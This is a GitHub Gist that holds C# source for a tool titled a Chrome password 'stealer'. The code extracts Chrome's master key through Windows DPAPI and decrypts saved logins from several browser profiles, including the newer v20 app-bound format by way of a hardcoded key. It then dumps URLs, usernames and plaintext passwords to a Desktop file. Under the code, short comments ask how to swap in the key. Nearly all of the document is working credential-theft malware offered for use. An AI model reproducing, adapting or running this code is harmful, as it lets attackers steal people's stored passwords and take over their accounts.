Skip to content

Instantly share code, notes, and snippets.

@theflorr
Created May 26, 2025 06:53
Show Gist options
  • Select an option

  • Save theflorr/198be17fb0a2f8b1fe19866708fa55fe to your computer and use it in GitHub Desktop.

Select an option

Save theflorr/198be17fb0a2f8b1fe19866708fa55fe to your computer and use it in GitHub Desktop.
Chrome Passwords extractor/stealer v20 - Working as of mid 2025
using System;
using System.IO;
using System.Text;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Data.SQLite;
using System.Collections.Generic;
using System.Text.Json;
class ChromePasswordRecovery
{
[DllImport("crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CryptUnprotectData(
ref DATA_BLOB pDataIn,
StringBuilder ppszDataDescr,
ref DATA_BLOB pOptionalEntropy,
IntPtr pvReserved,
IntPtr pPromptStruct,
int dwFlags,
ref DATA_BLOB pDataOut);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
internal struct DATA_BLOB
{
public int cbData;
public IntPtr pbData;
}
const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
static void Main(string[] args)
{
Console.WriteLine("Made by @Crysiox");
Console.WriteLine("==================================");
List<PasswordInfo> passwords = new List<PasswordInfo>();
string userDataDir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google", "Chrome", "User Data");
byte[] masterKey = GetMasterKey(userDataDir);
if (masterKey == null)
{
Console.WriteLine("Failed to retrieve master key. Cannot decrypt passwords.");
Console.ReadKey();
return;
}
Console.WriteLine($"Successfully retrieved master key (length: {masterKey.Length} bytes)");
string[] profiles = { "Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5" };
foreach (string profile in profiles)
{
string loginDataPath = Path.Combine(userDataDir, profile, "Login Data");
if (!File.Exists(loginDataPath))
{
Console.WriteLine($"Profile {profile} not found, skipping.");
continue;
}
Console.WriteLine($"Processing profile: {profile}");
ProcessLoginData(loginDataPath, profile, masterKey, passwords);
}
string outputFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "chrome_passwords_recovered.txt");
SavePasswords(passwords, outputFile);
Console.WriteLine("Attempting decryption with alternative methods...");
RescuePasswords(passwords, outputFile);
Console.WriteLine($"Found {passwords.Count} credentials");
Console.WriteLine($"Results saved to: {outputFile}");
Console.WriteLine("Press any key to exit...");
Console.ReadKey();
}
private static byte[] GetMasterKey(string userDataDir)
{
try
{
string localStatePath = Path.Combine(userDataDir, "Local State");
if (!File.Exists(localStatePath))
{
Console.WriteLine("Local State file not found!");
return null;
}
string jsonContent = File.ReadAllText(localStatePath);
using (JsonDocument doc = JsonDocument.Parse(jsonContent))
{
JsonElement root = doc.RootElement;
JsonElement osCrypt = root.GetProperty("os_crypt");
string encryptedKey = osCrypt.GetProperty("encrypted_key").GetString();
if (encryptedKey == null)
{
Console.WriteLine("Could not find encrypted_key in Local State");
return null;
}
byte[] encryptedKeyBytes = Convert.FromBase64String(encryptedKey);
byte[] encryptedKeyWithoutPrefix = new byte[encryptedKeyBytes.Length - 5];
Array.Copy(encryptedKeyBytes, 5, encryptedKeyWithoutPrefix, 0, encryptedKeyWithoutPrefix.Length);
return DecryptWithDPAPI(encryptedKeyWithoutPrefix);
}
}
catch (Exception ex)
{
Console.WriteLine($"Error getting master key: {ex.Message}");
return null;
}
}
private static void ProcessLoginData(string loginDataPath, string profile, byte[] masterKey, List<PasswordInfo> passwords)
{
try
{
string tempDbFile = Path.GetTempFileName();
try
{
File.Copy(loginDataPath, tempDbFile, true);
}
catch (IOException)
{
Console.WriteLine("Database is locked. Try closing Chrome first.");
return;
}
using (var connection = new SQLiteConnection($"Data Source={tempDbFile};Version=3;"))
{
connection.Open();
using (var command = new SQLiteCommand("SELECT origin_url, username_value, password_value, date_created FROM logins", connection))
{
using (var reader = command.ExecuteReader())
{
while (reader.Read())
{
try
{
string url = reader.IsDBNull(0) ? "" : reader.GetString(0);
string username = reader.IsDBNull(1) ? "" : reader.GetString(1);
byte[] encryptedPassword = reader.IsDBNull(2) ? new byte[0] : (byte[])reader["password_value"];
long dateCreated = reader.IsDBNull(3) ? 0 : reader.GetInt64(3);
DecryptionResult result = DecryptChromePassword(encryptedPassword, masterKey);
passwords.Add(new PasswordInfo
{
Url = url,
Username = username,
Password = result.Password,
Profile = profile,
RawData = result.Success ? null : Convert.ToBase64String(encryptedPassword),
DateCreated = dateCreated
});
Console.WriteLine($"Processed: {url} - Username: {username} - {(result.Success ? "SUCCESS" : "FAILED")}");
}
catch (Exception ex)
{
Console.WriteLine($"Error processing entry: {ex.Message}");
}
}
}
}
}
try { File.Delete(tempDbFile); } catch { }
}
catch (Exception ex)
{
Console.WriteLine($"Error processing login data: {ex.Message}");
}
}
private static DecryptionResult DecryptChromePassword(byte[] encryptedData, byte[] masterKey)
{
try
{
if (encryptedData == null || encryptedData.Length == 0)
return new DecryptionResult { Success = true, Password = "" };
if (encryptedData.Length > 0 && encryptedData[0] != 'v')
{
try
{
byte[] decrypted = DecryptWithDPAPI(encryptedData);
return new DecryptionResult
{
Success = true,
Password = Encoding.UTF8.GetString(decrypted)
};
}
catch (Exception)
{
}
}
if (encryptedData.Length >= 3 && encryptedData[0] == 'v')
{
string versionStr = Encoding.ASCII.GetString(encryptedData, 0, 3);
if (encryptedData.Length < 15)
{
return new DecryptionResult
{
Success = false,
Password = $"[Data too short: {encryptedData.Length} bytes]"
};
}
byte[] nonce = new byte[12];
Array.Copy(encryptedData, 3, nonce, 0, 12);
if (versionStr == "v20")
{
int ciphertextLength = encryptedData.Length - 3 - 12 - 16;
if (ciphertextLength <= 0)
{
return new DecryptionResult
{
Success = false,
Password = "[Invalid ciphertext length]"
};
}
byte[] ciphertext = new byte[ciphertextLength];
Array.Copy(encryptedData, 3 + 12, ciphertext, 0, ciphertextLength);
byte[] tag = new byte[16];
Array.Copy(encryptedData, 3 + 12 + ciphertextLength, tag, 0, 16);
byte[] v20Key = Convert.FromHexString("2cbb75f900297630e4201fc2b356e6d0eec7b5004b36ca88d941239a69d6ea3e"); // replace aes key here, get one from:
// https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption
return DecryptAesGcmWithTag(v20Key, nonce, ciphertext, tag);
}
if (versionStr == "v10" || versionStr == "v11")
{
int ciphertextLength = encryptedData.Length - 3 - 12 - 16;
if (ciphertextLength <= 0)
{
return new DecryptionResult
{
Success = false,
Password = "[Invalid ciphertext length]"
};
}
byte[] ciphertext = new byte[ciphertextLength];
Array.Copy(encryptedData, 3 + 12, ciphertext, 0, ciphertextLength);
byte[] tag = new byte[16];
Array.Copy(encryptedData, 3 + 12 + ciphertextLength, tag, 0, 16);
return DecryptAesGcmWithTag(masterKey, nonce, ciphertext, tag);
}
return new DecryptionResult
{
Success = false,
Password = $"[Failed: {versionStr}]"
};
}
return new DecryptionResult { Success = false, Password = "[Unknown format]" };
}
catch (Exception ex)
{
return new DecryptionResult { Success = false, Password = $"[Error: {ex.Message}]" };
}
}
private static DecryptionResult DecryptAesGcmWithTag(byte[] key, byte[] nonce, byte[] ciphertext, byte[] tag)
{
try
{
if (key == null || key.Length != 32 || nonce == null || nonce.Length != 12 ||
ciphertext == null || ciphertext.Length == 0 || tag == null || tag.Length != 16)
{
return new DecryptionResult { Success = false, Password = "[Invalid input data]" };
}
byte[] plaintext = new byte[ciphertext.Length];
using (AesGcm aesGcm = new AesGcm(key))
{
aesGcm.Decrypt(nonce, ciphertext, tag, plaintext);
string result = Encoding.UTF8.GetString(plaintext);
if (!ContainsControlChars(result))
{
return new DecryptionResult { Success = true, Password = result };
}
}
return new DecryptionResult { Success = false, Password = "[GCM Failed]" };
}
catch (Exception ex)
{
return new DecryptionResult { Success = false, Password = $"[GCM Error: {ex.Message}]" };
}
}
private static string DecryptWithSimplerMethods(byte[] key, byte[] nonce, byte[] data)
{
try
{
string result = DecryptAesCtr(key, nonce, data);
if (!ContainsControlChars(result))
return result;
using (Aes aes = Aes.Create())
{
aes.Key = key;
byte[] iv = new byte[16];
Array.Copy(nonce, 0, iv, 0, Math.Min(nonce.Length, 16));
aes.IV = iv;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
try
{
using (ICryptoTransform decryptor = aes.CreateDecryptor())
{
byte[] plaintext = decryptor.TransformFinalBlock(data, 0, data.Length);
result = Encoding.UTF8.GetString(plaintext);
if (!ContainsControlChars(result))
return result;
}
}
catch
{
}
}
using (Aes aes = Aes.Create())
{
aes.Key = key;
byte[] iv = new byte[16];
Array.Copy(nonce, 0, iv, 0, Math.Min(nonce.Length, 16));
aes.IV = iv;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.None;
try
{
if (data.Length % 16 == 0 && data.Length >= 16)
{
using (ICryptoTransform decryptor = aes.CreateDecryptor())
{
byte[] plaintext = decryptor.TransformFinalBlock(data, 0, data.Length);
int paddingSize = plaintext[plaintext.Length - 1];
if (paddingSize > 0 && paddingSize <= 16)
{
byte[] unpaddedText = new byte[plaintext.Length - paddingSize];
Array.Copy(plaintext, 0, unpaddedText, 0, unpaddedText.Length);
result = Encoding.UTF8.GetString(unpaddedText);
if (!ContainsControlChars(result))
return result;
}
}
}
}
catch
{
}
}
return string.Empty;
}
catch
{
return string.Empty;
}
}
private static string DecryptAesCtr(byte[] key, byte[] nonce, byte[] ciphertext)
{
try
{
using (Aes aes = Aes.Create())
{
aes.Key = key;
aes.Mode = CipherMode.ECB;
aes.Padding = PaddingMode.None;
byte[] counter = new byte[16];
Array.Copy(nonce, 0, counter, 0, Math.Min(nonce.Length, 16));
byte[] output = new byte[ciphertext.Length];
byte[] encryptedCounter = new byte[16];
for (int blockOffset = 0; blockOffset < ciphertext.Length; blockOffset += 16)
{
using (ICryptoTransform encryptor = aes.CreateEncryptor())
{
encryptedCounter = encryptor.TransformFinalBlock(counter, 0, 16);
}
int bytesToProcess = Math.Min(16, ciphertext.Length - blockOffset);
for (int i = 0; i < bytesToProcess; i++)
{
if (blockOffset + i < output.Length && blockOffset + i < ciphertext.Length)
output[blockOffset + i] = (byte)(ciphertext[blockOffset + i] ^ encryptedCounter[i]);
}
IncrementCounter(counter);
}
return Encoding.UTF8.GetString(output);
}
}
catch
{
return string.Empty;
}
}
private static void IncrementCounter(byte[] counter)
{
for (int i = counter.Length - 1; i >= 0; i--)
{
if (++counter[i] != 0)
break;
}
}
private static bool ContainsControlChars(string s)
{
if (string.IsNullOrEmpty(s))
return false;
foreach (char c in s)
{
if (c < 32 && c != 9 && c != 10 && c != 13)
return true;
}
return false;
}
private static byte[] DecryptWithDPAPI(byte[] ciphertext)
{
DATA_BLOB dataIn = new DATA_BLOB();
DATA_BLOB dataOut = new DATA_BLOB();
DATA_BLOB entropy = new DATA_BLOB();
try
{
dataIn.pbData = Marshal.AllocHGlobal(ciphertext.Length);
dataIn.cbData = ciphertext.Length;
Marshal.Copy(ciphertext, 0, dataIn.pbData, ciphertext.Length);
entropy.pbData = IntPtr.Zero;
entropy.cbData = 0;
dataOut.pbData = IntPtr.Zero;
dataOut.cbData = 0;
bool success = CryptUnprotectData(
ref dataIn,
null,
ref entropy,
IntPtr.Zero,
IntPtr.Zero,
CRYPTPROTECT_UI_FORBIDDEN,
ref dataOut);
if (!success)
{
int error = Marshal.GetLastWin32Error();
throw new Exception($"DPAPI failed with error code: {error}");
}
byte[] result = new byte[dataOut.cbData];
Marshal.Copy(dataOut.pbData, result, 0, dataOut.cbData);
return result;
}
finally
{
if (dataIn.pbData != IntPtr.Zero) Marshal.FreeHGlobal(dataIn.pbData);
if (dataOut.pbData != IntPtr.Zero) Marshal.FreeHGlobal(dataOut.pbData);
}
}
private static void SavePasswords(List<PasswordInfo> passwords, string filePath)
{
using (StreamWriter writer = new StreamWriter(filePath))
{
writer.WriteLine("Chrome Saved Passwords");
writer.WriteLine("=====================");
writer.WriteLine();
int successCount = 0;
int failCount = 0;
foreach (var entry in passwords)
{
writer.WriteLine($"URL: {entry.Url}");
writer.WriteLine($"Username: {entry.Username}");
writer.WriteLine($"Password: {entry.Password}");
writer.WriteLine($"Profile: {entry.Profile}");
if (entry.DateCreated > 0)
{
DateTime epoch = new DateTime(1601, 1, 1, 0, 0, 0, DateTimeKind.Utc);
DateTime created = epoch.AddMicroseconds(entry.DateCreated / 10);
writer.WriteLine($"Created: {created.ToLocalTime()}");
}
writer.WriteLine("-----------------------------------------------------");
if (entry.Password.StartsWith("["))
failCount++;
else
successCount++;
}
writer.WriteLine($"\nTotal entries: {passwords.Count}");
writer.WriteLine($"Successfully decrypted: {successCount}");
writer.WriteLine($"Failed to decrypt: {failCount}");
}
}
private static void RescuePasswords(List<PasswordInfo> passwords, string filePath)
{
List<PasswordInfo> rescueAttempts = new List<PasswordInfo>();
foreach (var entry in passwords)
{
if (entry.Password.StartsWith("[") && !string.IsNullOrEmpty(entry.RawData))
{
try
{
byte[] encryptedData = Convert.FromBase64String(entry.RawData);
if (encryptedData.Length >= 3 && encryptedData[0] == 'v')
{
byte[] dataAfterPrefix = new byte[encryptedData.Length - 3];
Array.Copy(encryptedData, 3, dataAfterPrefix, 0, dataAfterPrefix.Length);
string directString = Encoding.UTF8.GetString(dataAfterPrefix);
if (!ContainsControlChars(directString) && directString.Length >= 4)
{
PasswordInfo rescued = new PasswordInfo
{
Url = entry.Url,
Username = entry.Username,
Password = $"[ATTEMPT]: {directString}",
Profile = entry.Profile
};
rescueAttempts.Add(rescued);
}
}
}
catch
{
}
}
}
if (rescueAttempts.Count > 0)
{
using (StreamWriter writer = new StreamWriter(filePath, true))
{
writer.WriteLine("\n\n==== ATTEMPTS ====");
writer.WriteLine("The following are last-resort attempts that may contain partial passwords:\n");
foreach (var entry in rescueAttempts)
{
writer.WriteLine($"URL: {entry.Url}");
writer.WriteLine($"Username: {entry.Username}");
writer.WriteLine($"Possible Password: {entry.Password}");
writer.WriteLine($"Profile: {entry.Profile}");
writer.WriteLine("-----------------------------------------------------");
}
writer.WriteLine($"\nRescue attempts: {rescueAttempts.Count}");
}
Console.WriteLine($"Added {rescueAttempts.Count} rescue attempts to output");
}
}
private class PasswordInfo
{
public string Url { get; set; } = string.Empty;
public string Username { get; set; } = string.Empty;
public string Password { get; set; } = string.Empty;
public string Profile { get; set; } = string.Empty;
public string RawData { get; set; } = null;
public long DateCreated { get; set; } = 0;
}
private class DecryptionResult
{
public bool Success { get; set; }
public string Password { get; set; }
}
}
@theflorr
Copy link
Author

Check line 239 !

@hubcagyiud
Copy link

what exactly does line 239 mean? what do i replace the key with?

@lordfessius
Copy link

what exactly does line 239 mean? what do i replace the key with?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment